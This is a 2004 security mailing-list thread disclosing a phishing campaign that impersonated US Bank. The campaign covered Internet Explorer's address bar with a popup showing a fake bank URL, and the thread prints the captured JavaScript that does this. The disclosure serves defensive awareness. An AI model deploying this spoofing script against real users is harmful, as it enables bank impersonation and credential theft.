IE URL Issue Being Used In Phishing In the Wild [USBank]

[Drew Copley]

One of our developers (Laurentiu Nicula) received an alarming type
of phishing attack today.

received: from UsBank.com ([82.33.97.75])=20

[82.33.97.75 =3D [ 82-33-97-75.cable.ubr10.azte.blueyonder.co.uk ]

The email looks legitimate enough, but links to:

http://validation-required.info/

The webpage attempts to throw up a little url bar of it's own
which covers IE's url bar. This allows a pretty convincing spoof
job to happen.=20

The pop up looks just like IE's url bar, and it is even selectable.

This does not work in Netscape.

It is very similiar to Malware's issues of late.=20

He protected the source pretty well, but it reveals some interesting
code which I googled to some Italian guy here (post made in December
of last year):

http://tool.freeonline.it/forum/read.php?f=3D8&i=3D361&t=3D361

Here is the vulnerable code page:

HTTP/1.1 200 OK
Date: Thu, 13 May 2004 22:19:10 GMT
Server: Apache/1.3.29 (Unix) mod_auth_passthrough/1.8 mod_log_bytes/1.2
mod_bwlimited/1.4 PHP/4.3.3 FrontPage/5.0.2.2634 mod_ssl/2.8.16
OpenSSL/0.9.7a
Last-Modified: Wed, 12 May 2004 03:47:59 GMT
ETag: "1da80c8-388-40a19e6f"
Accept-Ranges: bytes
Content-Length: 904
Keep-Alive: timeout=3D15, max=3D95
Connection: Keep-Alive
Content-Type: text/html

var vuln_x, vuln_y, vuln_w, vuln_h;
function vuln_calc() {
var root=3D document[
(document.compatMode=3D=3D'CSS1Compat') ?
'documentElement' : 'body'
];
vuln_x=3D window.screenLeft+72;
vuln_y=3D window.screenTop-20;
vuln_w=3D root.offsetWidth-520;
vuln_h=3D 17;
vuln_show();
}

var vuln_win;
function vuln_pop() {
vuln_win=3D window.createPopup();
vuln_win.document.body.innerHTML=3D vuln_html;
vuln_win.document.body.style.margin=3D 0;
vuln_win.document.body.onunload=3D vuln_pop;
vuln_show();
}

function vuln_show() {
if (vuln_win)
vuln_win.show(vuln_x, vuln_y, vuln_w, vuln_h);
}

var vuln_html=3D '\x3Cdiv style=3D"height: 100%; line-height: 17px;
font-family: \'Tahoma\', sans-serif; font-size:
8pt;">https://www.usbank.com/secure/-run\x3C/div>'

[Drew Copley]

These guys got it and catalogued it nicely.

Scroll down for full details.

http://www.antiphishing.org/phishing_archive/05-13-04_US_Bank_(Found_err
or).html

They did everything but put up full source code.

Http-equiv pointed out Dror Shalev has catalogued an Citibank version
he found in the wild:

http://sec.drorshalev.com/dev/fakeaddress=20

This has different source, however, and utilizes a different method
altogether. The Italian version is cleaner, no munged graphics, but
this citibank version doesn't miss on the url bar if you have an
additional bar underneath the url bar (ie, google bar, or links).

We should expect someone to figure out pretty soon that they
can replace the warning dialogs for running executable content
on the web (or for installing spyware activex)... imo.

None of this is entirely new... but, it looks like exploit to
implementation time has finally caught up with each other after
several years.

Guninski:
"Javascript in IE may spoof the whole screen"
[He also shows how it may spoof the executable warning box, this
issue is still open]
Date: 21 October 2001

Image moving over download/open dialog:=20
http://www.guninski.com/opf2.html=20

Really, I think this is a classic "failure of imagination" security
issue here.

Regardless, this is easy money. These guys have finally figure it
out. Someone has spelled it out for them.=20


> -----Original Message-----
> From: Todd C. Campbell [mailto:toddc@mordor.beernutz.com] On=20
> Behalf Of Todd C. Campbell
> Sent: Friday, May 14, 2004 10:45 AM
> To: Drew Copley
> Cc: bugtraq@securityfocus.com
> Subject: Re: IE URL Issue Being Used In Phishing In the Wild [USBank]
>=20
> On Thu, May 13, 2004 at 03:30:29PM -0700, Drew Copley wrote:
> > One of our developers (Laurentiu Nicula) received an alarming type
> > of phishing attack today.
> >=20
> > received: from UsBank.com ([82.33.97.75])=20
> >=20
> > [82.33.97.75 =3D [ 82-33-97-75.cable.ubr10.azte.blueyonder.co.uk ]
> >=20
> > The email looks legitimate enough, but links to:
> >=20
> > http://validation-required.info/
>=20
> This site seems to be suspended now.
>=20
> --=20
>=20
> Todd C. Campbell
> CoreComm an ATX Company
> Systems Engineering
>=20
>=20
>=20

[Todd C. Campbell]

On Thu, May 13, 2004 at 03:30:29PM -0700, Drew Copley wrote:
> One of our developers (Laurentiu Nicula) received an alarming type
> of phishing attack today.
>
> received: from UsBank.com ([82.33.97.75])
>
> [82.33.97.75 = [ 82-33-97-75.cable.ubr10.azte.blueyonder.co.uk ]
>
> The email looks legitimate enough, but links to:
>
> http://validation-required.info/

This site seems to be suspended now.

--

Todd C. Campbell
CoreComm an ATX Company
Systems Engineering

[Nick FitzGerald]

"Drew Copley" <dcopley@eeye.com> wrote:

<<snip>>
> The webpage attempts to throw up a little url bar of it's own
> which covers IE's url bar. This allows a pretty convincing spoof
> job to happen.
>
> The pop up looks just like IE's url bar, and it is even selectable.
>
> This does not work in Netscape.

This was also reported at antiphishing.org:

http://www.antiphishing.org/phishing_archive/05-13-
04_US_Bank_(Found_error).html

and it sounds similar to an earlier incident reported there in late
March:

http://www.antiphishing.org/news/03-31-04_Alert-FakeAddressBar.html

> It is very similiar to Malware's issues of late.

Sorry -- I'm going to have to ask you to expand on that (perhaps I
missed something from http-equiv?).


Regards,

Nick FitzGerald